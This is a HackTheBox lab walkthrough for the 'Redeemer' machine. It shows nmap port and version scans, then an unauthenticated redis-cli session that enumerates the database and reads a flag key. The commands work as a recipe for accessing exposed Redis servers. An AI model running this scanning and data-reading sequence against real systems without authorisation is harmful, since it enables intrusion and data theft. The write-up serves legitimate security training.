CHALLENGE INFORMATION

Redeemer LogoPlatform: HackTheBox
Collection: Starting Point
Tier: 0
Machine: Redeemer
Released: 11/05/2022

MACHINE SYNOPSIS

Redeemer is a very easy Linux machine which explores the enumeration and exploitation of a Redis database server while showcasing the redis-cli command line utility and basic commands to interact with the Redis service.

Preparations

Several methods exist for connecting to the target machine. Throughout this walkthrough, we will use the provided pwnbox.

Once connected, we spawn the target machine.

Additionally – even though not required – we can set a local variable (available only in the current shell) containing the target host’s IP address. Once set, we access it by prepending $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$
Listing 1 - Creating a local variable, rhost, to store the target's IP address

We can remove the variable using the unset command when it is no longer needed.

user@kali:~$ unset rhost
Listing 2 - Removing the rhost variable

Task-1

Question: Which TCP port is open on the machine?

6379

We use the -p- option with nmap to scan all ports rather than only the top 1,000 TCP ports (the default scan). Note that this may take some time.

We can accelerate the scan by setting either the --min-rate <number> option or the -T <0-5> option (higher values indicate faster scanning).

user@kali:~$ nmap -p- $rhost 
...
PORT     STATE SERVICE
6379/tcp open  redis
...
user@kali:~$
Listing 3 - Scanning all TCP ports

Task-2

Question: Which service is running on the port that is open on the machine?

redis

To determine the service and version, we use the -sV option with Nmap.

user@kali:~$ nmap -sV -p 6379 $rhost
...
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7
...
user@kali:~$
Listing 4 - Version scan against the open Redis service

Task-3

Question: What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database

in-memory database

Research Redis using available documentation.

Task-4

Question: Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.

redis-cli

One approach is to search the man pages and descriptions for a command mentioning redis.

user@kali:~$ apropos redis
redis: nothing appropriate.
user@kali:~$
Listing 5 - Searching for Redis-related commands

If this yields no results, we can use the which command to search installed command names. After typing redis-, we use tab completion (press TAB) to list all available commands beginning with that string.

user@kali:~$ which redis-
redis-benchmark  redis-check-aof  redis-check-rdb  redis-cli        
user@kali:~$ which redis-
Listing 6 - Tab completion for installed software

We then examine the man pages to identify the correct command.

user@kali:~$ man redis-cli
Listing 7 - Redis-cli man page

Task-5

Question: Which flag is used with the Redis command-line utility to specify the hostname?

-h

We use the built-in --help option to understand how to use redis-cli.

user@kali:~$ redis-cli --help
...
Usage: redis-cli [OPTIONS] [cmd [arg [arg ...]]]
  -h <hostname>      Server hostname (default: 127.0.0.1).
  -p <port>          Server port (default: 6379).
...
user@kali:~$
Listing 8 - Redis-cli help page

Task-6

Question: Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?

info

The redis-cli man page does not include information about commands available after connection. However, it mentions redis-doc, which we can search for online. The results should provide clarity.

user@kali:~$ redis-cli -h $rhost
10.129.176.198:6379> info
# Server
redis_version:5.0.7
...
# Clients
connected_clients:1
...
# Memory
used_memory:859624
...
# Persistence
loading:0
...
# Stats
total_connections_received:11
...
# Replication
role:master
...
# CPU
used_cpu_sys:2.039571
...
# Cluster
cluster_enabled:0
...
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
10.129.176.198:6379>
Listing 9 - Info command within the Redis connection

Task-7

Question: What is the version of the Redis server being used on the target machine?

5.0.7

We find the Redis server version in the info output under the # Server configuration information.

Task-8

Question: Which command is used to select the desired database in Redis?

select

We consult the Redis documentation to verify the correct command.

Task-9

Question: How many keys are present inside the database with index 0?

4

One method is to examine the info output generated previously. Information regarding # Keyspace appears at the end.

# Keyspace
db0:keys=4,expires=0,avg_ttl=0
Listing 10 - Keyspace section within the info output

The number of keys for database db0 is set to four, providing our answer.

Alternatively, we can list all keys using the keys command after selecting the database, then count the results.

10.129.176.198:6379> select 0
OK
10.129.176.198:6379> KEYS *
1) "flag"
2) "numb"
3) "stor"
4) "temp"
10.129.176.198:6379>
Listing 11 - Selecting db0 and listing the available keys

Task-10

Question: Which command is used to obtain all the keys in a database?

keys *

As demonstrated in the previous task, the * character serves as a match-all pattern.

Submit The Flag

Question: Submit root flag

<redacted-flag>

We use the get command to view the keys. One key is named flag. Examining this key reveals the flag.

10.129.176.198:6379> get flag
"<redacted-flag>"
10.129.176.198:6379>
Listing 12 - Viewing the flag key inside the Redis connection

Ensure you terminate the target box before continuing with the next machine!